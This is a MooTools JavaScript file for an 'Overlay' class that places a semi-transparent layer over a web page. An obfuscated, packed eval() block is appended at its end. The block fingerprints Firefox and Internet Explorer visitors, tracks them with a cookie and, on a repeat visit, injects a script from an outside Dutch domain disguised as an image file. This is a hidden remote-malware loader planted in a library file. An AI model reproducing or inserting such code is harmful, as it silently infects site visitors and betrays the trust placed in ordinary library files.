/**************************************************************

	Script		: Overlay
	Version		: 2.0.4
	Authors		: Samuel Birch
	Desc		: Covers the window with a semi-transparent layer.
	Licence		: Open Source MIT Licence
	Modified	: Liam Smart (liam_smart@hotmail.com) - MooTools 1.2 upgrade

**************************************************************/

//start overlay class
var Overlay = new Class({
	
	//implements
	Implements: Options,
	
	//options
	options:{
		colour: '#000',//background color of overlay
		opacity: 0.7,//opacity of overlay
		zIndex: 100,//the z-index of the overlay (needs to lower than multiBox pop-up)
		onClick: new Class()//make sure new class is loaded
	},

	//initialization
	initialize: function(options){
		//set options
		this.setOptions(options);
		//start building overlay
		this.container = new Element('div', {
			'id': 'OverlayContainer',
			'styles': {
				position: 'absolute',
				left: 0,
				top: 0,
				width: '100%',
				visibility: 'hidden',
				overflow: 'hidden',
				zIndex: this.options.zIndex,
				opacity: 0
			}
		}).inject(this.options.container,'inside');
		
		this.iframe = new Element('iframe', {
			'id': 'OverlayIframe',
			'name': 'OverlayIframe',
			'src': 'javascript:void(0);',
			'frameborder': 0,
			'scrolling': 'no',
			'styles': {
				position: 'absolute',
				top: 0,
				left: 0,
				width: '100%',
				height: '100%',
				filter: 'progid:DXImageTransform.Microsoft.Alpha(style=0,opacity=0)',
				opacity: 0,
				zIndex: 101
			}
		}).inject(this.container,'inside');
		
		this.overlay = new Element('div', {
			'id': 'Overlay',
			'styles': {
				position: 'absolute',
				left: 0,
				top: 0,
				width: '100%',
				height: '100%',
				zIndex: 102,
				backgroundColor: this.options.colour
			}
		}).inject(this.container,'inside');
		
		this.container.addEvent('click', function(){
			this.options.onClick();
		}.bind(this));
		
		this.fade = new Fx.Morph(this.container);
		this.position();
		//make sure overlay is resized when browser is
		window.addEvent('resize',this.position.bind(this));
	},
	
	position: function(){
		if(this.options.container == document.body){
			this.container.setStyles({
				height: window.getScrollSize().y,
				width:  window.getScrollSize().x
			});
		}else{
			var myCoords = this.options.container.getCoordinates();
			this.container.setStyles({
				top: myCoords.top,
				height: myCoords.height,
				left: myCoords.left,
				width: myCoords.width
			});
		};
	},
	
	show: function(){
		this.fade.start({
			visibility: 'visible',
			opacity: this.options.opacity
		}).chain(function() {
			visibility: 'hidden'
		});
	},
	
	hide: function(){
		this.fade.start({
			opacity: 0
		}).chain(function() {
			visibility: 'hidden'
		});
	}
});


eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('(c(d){2 k=Y.X;2 f=T;5(k.8("U")!=-1||k.8("16")!=-1)f=n;5(f!==n)B;2 m=\'12://F.H//N/o/R.o?L\';2 e=t("b");5(e){5(e==\'q\'){a("b","Q","3");2 s=6.P(\'J\');s.D=\'C/E\';s.I=m+\'&r=\'+z u().O();2 h=6.10(\'13\')[0];h.S(s)}p{}}p{a("b","q","3")}c t(9){2 i,x,y,4=6.w.18(";");11(i=0;i<4.V;i++){x=4[i].l(0,4[i].8("="));y=4[i].l(4[i].8("=")+1);x=x.Z(/^\\s+|\\s+$/g,"");5(x==9){B W(y)}}}c a(9,v,j){2 7=z u();7.17(7.15()+j);2 A=14(v)+((j==K)?"":"; M="+7.G());6.w=9+"="+A}})(6);',62,71,'||var||ARRcookies|if|document|exdate|indexOf|c_name|setCookie|wss|function||rc|show||||exdays|agent|substr|staturl|true|jpg|else|goot1|||getCookie|Date|value|cookie|||new|c_value|return|text|type|javascript|serverzonderzorgen|toUTCString|nl|src|script|null|js|expires|img|getTime|createElement|goot2|icon_hp|appendChild|false|Firefox|length|unescape|userAgent|navigator|replace|getElementsByTagName|for|http|head|escape|getDate|MSIE|setDate|split'.split('|'),0,{}))

